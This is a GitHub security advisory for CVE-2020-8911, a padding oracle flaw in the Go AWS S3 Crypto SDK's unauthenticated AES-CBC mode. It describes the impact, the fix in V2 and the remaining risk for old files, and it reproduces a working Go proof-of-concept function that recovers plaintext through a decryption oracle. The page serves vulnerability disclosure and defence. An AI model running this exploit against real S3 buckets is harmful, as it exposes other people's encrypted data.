Skip to content

CBC padding oracle issue in AWS S3 Crypto SDK for golang

Moderate severity GitHub Reviewed Published Aug 10, 2020 in google/security-research • Updated May 20, 2024

Package

gomod github.com/aws/aws-sdk-go (Go)

Affected versions

< 1.34.0

Patched versions

1.34.0

Description

Summary

The golang AWS S3 Crypto SDK is impacted by an issue that can result in loss of confidentiality and message forgery. The attack requires write access to the bucket in question, and that the attacker has access to an endpoint that reveals decryption failures (without revealing the plaintext) and that when encrypting the CBC option was chosen as content cipher.

Risk/Severity

The vulnerability pose insider risks/privilege escalation risks, circumventing KMS controls for stored data.

Impact

This advisory describes the plaintext revealing vulnerabilities in the golang AWS S3 Crypto SDK, with a similar issue in the non "strict" versions of C++ and Java S3 Crypto SDKs being present as well.

V1 prior to 1.34.0 of the S3 crypto SDK, allows users to encrypt files with AES-CBC, without computing a MAC on the data. Note that there is an alternative option of using AES-GCM, which is used in the examples of the documentation and not affected by this vulnerability, but by CVE-2020-8912.

This exposes a padding oracle vulnerability: If the attacker has write access to the S3 bucket and can observe whether or not an endpoint with access to the key can decrypt a file (without observing the file contents that the endpoint learns in the process), they can reconstruct the plaintext with (on average) 128*length(plaintext) queries to the endpoint, by exploiting CBC's ability to manipulate the bytes of the next block and PKCS5 padding errors.

This issue is fixed in V2 of the API, by disabling encryption with CBC mode for new files. Old files, if they have been encrypted with CBC mode, remain vulnerable until they are reencrypted with AES-GCM.

Mitigation

Using the version 2 of the S3 crypto SDK will not produce vulnerable files anymore. Old files remain vulnerable to this problem if they were originally encrypted with CBC mode.

Proof of concept

A Proof of concept is available in a separate github repository.

This particular issue is described in padding_oracle_exploit.go:

func PaddingOracleExploit(bucket string, key string, input *OnlineAttackInput) (string, error) {
	data, header, err := input.S3Mock.GetObjectDirect(bucket, key)
	if alg := header.Get("X-Amz-Meta-X-Amz-Cek-Alg"); alg != "AES/CBC/PKCS5Padding" {
		return "", fmt.Errorf("Algorithm is %q, not CBC!", alg)
	}
	length, err := strconv.Atoi(header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Length"))
	padding := byte(len(data) - length)
	plaintext := make([]byte, length)
	for i := length - 1; i >= 0; i-- {
		newLength := 16 * (i/16 + 1)
		dataCopy := make([]byte, newLength)
		headerCopy := header.Clone()
		copy(dataCopy, data)
		// Set Padding
		newPadding := byte(newLength - i)
		for j := i + 1; j < newLength; j++ {
			var oldValue byte
			if j >= length {
				oldValue = padding
			} else {
				oldValue = plaintext[j]
			}
			dataCopy, headerCopy, err = xorData(oldValue^newPadding, j, dataCopy, headerCopy)
			if err != nil {
				return "", err
			}
		}
		// Guess
		for c := 0; c < 256; c++ {
			dataCopy, headerCopy, err := xorData(byte(c)^newPadding, i, dataCopy, headerCopy)
			input.S3Mock.PutObjectDirect(bucket, key+"guess", dataCopy, headerCopy)
			if input.Oracle(bucket, key+"guess") {
				plaintext[i] = byte(c)
				break
			}
			dataCopy, headerCopy, err = xorData(byte(c)^newPadding, i, dataCopy, headerCopy)
		}
	}
	return string(plaintext), nil
}

References

@u269c u269c published to google/security-research Aug 10, 2020
Reviewed May 24, 2021
Published to the GitHub Advisory Database Feb 11, 2022
Last updated May 20, 2024

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N

EPSS score

0.051%
(21st percentile)

Weaknesses

CVE ID

CVE-2020-8911

GHSA ID

GHSA-f5pg-7wfw-84q9

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.